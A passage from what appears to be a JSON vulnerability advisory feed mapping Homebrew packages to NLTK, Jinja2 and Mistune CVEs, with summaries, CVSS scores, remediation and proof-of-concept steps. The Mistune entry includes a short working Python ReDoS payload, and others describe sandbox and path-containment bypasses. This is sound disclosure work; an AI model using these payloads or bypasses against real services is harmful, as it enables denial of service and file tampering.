propagate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-cw6x-m8jw-qmrh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81724"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/43c7b78cc8ea37e5cd3a129e27e32c415ea21cf1"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3739.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.3-denial-of-service-via-uncontrolled-recursion"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81725","published":"2026-09-03T08:45:01Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3752","CVE-2026-81725","GHSA-8mpw-7fpc-4gqj"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks","details":"### Summary\n\n`Pl196xCorpusReader` still parses whole TEI blocks with multiple lazy regexes over attacker-controlled text. A malformed file with many opening tags and no matching closing tags forces repeated rescans and produces quadratic CPU growth in public reader APIs.\n\n### Details\n\n- **Vulnerability type:** Regular-expression denial of service\n- **Affected component:** `nltk.corpus.reader.pl196x.TEICorpusView.read_block` and `Pl196xCorpusReader` public methods\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Lazy `.*?` whole-block regexes rescan untrusted XML-like blocks from each opening-tag position.\n\nThe parser uses regexes for paragraphs, sentences, and word tags across the whole `` block. When the attacker supplies many unmatched opening tags, each attempt scans toward the end of the block and fails, then restarts from the next opening tag. There is near four-times runtime growth each time the number of malformed `

` tags doubled, through normal public calls such as `words()` and `tagged_words()`.\n\n### PoC\n\n**Preconditions**\n- The application parses attacker-influenced PL196X or TEI-like corpus files through public reader APIs.\n\n**Steps**\n1. Create a corpus file with a valid header followed by a `` block that contains many opening tags and no matching closing tags.\n2. Instantiate `Pl196xCorpusReader` on that corpus.\n3. Call `words()` or `tagged_words()` and measure elapsed time as the malformed tag count doubles.\n4. Observe near quadratic growth instead of near-linear behavior.\n\n**Minimal reproducible excerpt**\n\n```text\nsize=1000 0.014s\nsize=2000 0.057s\nsize=4000 0.231s\nsize=8000 0.927s\n```\n\n### Impact\n\nA consumer that accepts attacker-influenced corpus files can be forced into heavy CPU use and parser-thread stalling before the application concludes the input contains no valid content.\n\n### Remediation\n\nReplace the whole-block lazy-regex parser with a linear parser or bounded tokenizer, and add regression tests that assert near-linear behavior on malformed inputs with many unmatched tags.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-8mpw-7fpc-4gqj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81725"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3752.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.3-regular-expression-denial-of-service-via-pl196xcorpusreader"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81726","published":"2026-09-02T08:43:54Z","modified":"2026-09-09T23:40:40Z","upstream":["PYSEC-2026-3740","CVE-2026-81726","GHSA-8mgp-746c-j5xp"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots","details":"### Summary\n\nSeveral model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.\n\n### Details\n\n- **Vulnerability type:** File sandbox bypass\n- **Affected component:** `TransitionParser.train`, `TransitionParser.parse`, `AveragedPerceptron.save`, `AveragedPerceptron.load`, `PerceptronTagger.save_to_json`, `save_maxent_params`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Model import and export helpers use built-in `open()` on caller-controlled paths instead of pathsec-aware helpers.\n\n`TransitionParser.train()` writes outside allowed roots, `TransitionParser.parse()` reads outside allowed roots, `AveragedPerceptron` bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while `pathsec.open()` or the guarded sibling helpers rejected the same paths.\n\n### PoC\n\n**Preconditions**\n- The application enables `pathsec` enforcement and lets untrusted workflows choose model import or export paths.\n\n**Steps**\n1. Enable `pathsec.ENFORCE=True` and restrict allowed roots to a dedicated sandbox directory.\n2. Use public model import or export APIs with paths that point outside that root.\n3. Observe the same paths are rejected by negative-control guarded helpers such as `pathsec.open()`, `PerceptronTagger.load_from_json()`, or `load_maxent_params()`.\n4. Observe the vulnerable APIs still read or write outside-root files successfully.\n\n**Minimal reproducible excerpt**\n\n```text\ntransition_train_exists True\ntransition_parse_loader_read_bytes 13\naveraged_load_keys ['bias']\nmaxent_save wrote ['alwayson.tab', 'labels.txt']\n```\n\n### Impact\n\nConsumers that rely on `pathsec` for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.\n\n### Remediation\n\nRoute all model-path file access through `nltk.pathsec.open()` or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-8mgp-746c-j5xp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81726"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3757"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3759"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3813"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/2a92b71827d754ae8920261e7ed0c4bb283ab2d7"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/a44a7af69bca87e92d9c4a701fcbbe4512e8d450"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/cbc98458b43de5f792f0382583c16df39e5c5117"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3740.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-through-3.10.3-path-traversal-via-model-artifact-apis"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81727","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3741","CVE-2026-81727","GHSA-f794-5jv7-7672"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Downloader.download follows hardlinks and overwrites outside-root files","details":"### Summary\n\nNLTK's downloader now blocks symlink escapes during ZIP extraction, but it still treats pre-existing hardlinks inside the install tree as ordinary in-root files. A normal package install can therefore overwrite an outside-root inode through that hardlink.\n\n### Details\n\n- **Vulnerability type:** Filesystem containment bypass\n- **Affected component:** `nltk.downloader.Downloader.download`, `nltk.downloader.Downloader.incr_download`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced for the extraction-stage overwrite.\n- **Patched versions:** 3.10.3\n- **Root cause:** The downloader validates traversal and symlink conditions but does not reject pre-existing hardlink aliases inside the install tree.\n\nThe install flow correctly rejects a pre-existing symlink at an extraction target, yet it accepts a pre-existing hardlink at the same path. When the package is installed, extracted member data is written through the hardlink and mutates the outside inode.\n\n### PoC\n\n**Preconditions**\n- The attacker can plant files inside a writable shared downloader root on the same filesystem as the target file.\n\n**Steps**\n1. Prepare a downloader root and create a hardlink inside it that points to an outside target file.\n2. Confirm a symlink at the same path is rejected as a negative control.\n3. Run a normal `Downloader.download()` package install whose extracted member lands on the hardlink path.\n4. Observe the outside target file is overwritten while the downloader still reports the package as installed.\n\n**Minimal reproducible excerpt**\n\n```text\nextract_hardlink_before ORIGINAL\nextract_hardlink_after PWNED\nextract_hardlink_status installed\n```\n\n### Impact\n\nA shared or attacker-influenced downloader directory can be turned into an overwrite primitive against same-filesystem files outside the intended install root.\n\n### Remediation\n\nTreat pre-existing hardlinks as unsafe in extraction targets, verify that each write path stays within the intended install tree at the inode level, and add regression tests that pair hardlinks with existing symlink controls.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-f794-5jv7-7672"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81727"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3797"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/9e6d5f05902b9aaa1221a0a565448d17a9c9b3e8"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3741.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.3-hardlink-file-overwrite-via-downloader"}]}],"adr-viewer":[{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2024-22195","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T19:58:23Z","upstream":["GHSA-h5c8-rqwp-cp95","CVE-2024-22195","PYSEC-2026-1473"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.3.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.3","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","details":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/01/msg00010.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5XCWZD464AJJJUBOO7CMPXQ4ROBC6JX2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DELCVUUYX75I5K4Q5WMJG4MUZJA6VAIP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/O7YWRBX6JQCWC2XXCTZ55C7DPMGICCN3"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2024-34064","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T19:58:23Z","upstream":["GHSA-h75v-3vvj-5mfj","CVE-2024-34064","PYSEC-2026-1474"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.4","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","details":"The `xmlattr` filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, `/`, `>`, or `=`, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters.\n\nAccepting keys as user input is now explicitly considered an unintended use case of the `xmlattr` filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting _values_ as user input continues to be safe.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-h75v-3vvj-5mfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34064"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/0668239dc6b44ef38e7a6c9f91f312fd4ca581cb"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/567XIGSZMABG6TSMYWD7MIYNJSUQQRUC"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCLF44KY43BSVMTE6S53B4V5WP3FRRSE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SSCBHIL6BYKR5NRCBXP4XMP2CEEKGFVS"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZALNWE3TXPPHVPSI3AZ5CTMSTAVN5UMS"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2024-56201","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T19:58:23Z","upstream":["GHSA-gmj6-6f8f-6699","CVE-2024-56201","PYSEC-2026-1472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through malicious filenames","details":"A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.\n\nTo exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-gmj6-6f8f-6699"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56201"},{"type":"WEB","url":"https://github.com/pallets/jinja/issues/1792"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2024-56326","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T19:58:23Z","upstream":["GHSA-q2x7-8rv6-6q7h","CVE-2024-56326","PYSEC-2026-1475"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through indirect reference to format method","details":"An oversight in how the Jinja sandboxed environment detects calls to `str.format` allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's `format` method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56326"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2025-27516","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T19:58:23Z","upstream":["GHSA-cpwx-vrp4-4pq7","CVE-2025-27516","PYSEC-2026-1471"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.6","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-33079","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-8mp2-v27r-99xp","CVE-2026-33079","PYSEC-2026-2651"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.1","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input","details":"### Summary\n\nA ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.\n\n### Details\n\nThe vulnerable regex is defined in [`src/mistune/helpers.py#L20-L25`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25):\n\n```python\nLINK_TITLE_RE = re.compile(\n r\"[ \\t\\n]+(\"\n r'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"|' # \"title\"\n r\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\" # 'title'\n r\")\"\n)\n```\n\nThe double-quote branch compiles to `\"(?:\\\\[PUNCTUATION]|[^\"\\x00])*\"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\\!`) can be matched by **either** branch — as a 2-character escaped-punctuation sequence `\\\\!`, or as two individual `[^\"\\x00]` characters (`\\` then `!`). The same ambiguity exists in the single-quoted title branch.\n\nWhen the input contains repeated `\\!` pairs with no closing `\"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential O(2^N) time complexity**.\n\nThis is reachable through normal Markdown parsing via two code paths:\n1. **Inline links**: `[text](url \"PAYLOAD)` → [`parse_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L178) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169)\n2. **Block link reference definitions**: `[label]: url \"PAYLOAD` → [`BlockParser.parse_ref_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L220) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) at [block_parser.py#L259](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L259)\n\n### PoC\n\n```python\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\n# Test with increasing N (number of \\! pairs)\nfor n in [15, 18, 20, 22, 25]:\n payload = '[x](y \"' + '\\\\!' * n + ')'\n start = time.time()\n md(payload)\n elapsed = time.time() - start\n print(f\"N={n:2d} len={len(payload):3d} bytes time={elapsed:.3f}s\")\n```\n\nOutput (Apple M2, Python 3.14.3, mistune 3.2.0):\n\n```\nN=15 len= 38 bytes time=0.007s\nN=18 len= 44 bytes time=0.044s\nN=20 len= 48 bytes time=0.178s\nN=22 len= 52 bytes time=0.740s\nN=25 len= 58 bytes time=5.922s\n```\n\nEach increment of N roughly doubles the execution time (consistent with O(2^N)).\n\nThe same attack works via block link reference definitions:\n\n```python\npayload = '[l]: u \"' + '\\\\!' * 25 # 58 bytes, ~6 seconds\nmd(payload)\n```\n\n### Impact\n\nThis is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).\n\nAffected use cases include:\n- Web applications with Markdown-enabled input fields (comments, posts, descriptions)\n- Documentation systems that accept user contributions\n- API endpoints that process Markdown\n- Jupyter tooling such as nbconvert that relies on mistune for rendering\n\n### Suggested Fix\n\nExclude the backslash character from the catch-all character class to eliminate the alternation overlap:\n\n```python\n# Before (vulnerable):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"\n\n# After (fixed):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\\\\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\\\\\x00])*'\"\n```\n\nThis ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):\n- Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement)\n- Handles N=50 in 0.000008 seconds\n- Passes all existing functional tests (quoted titles, escaped quotes, escaped 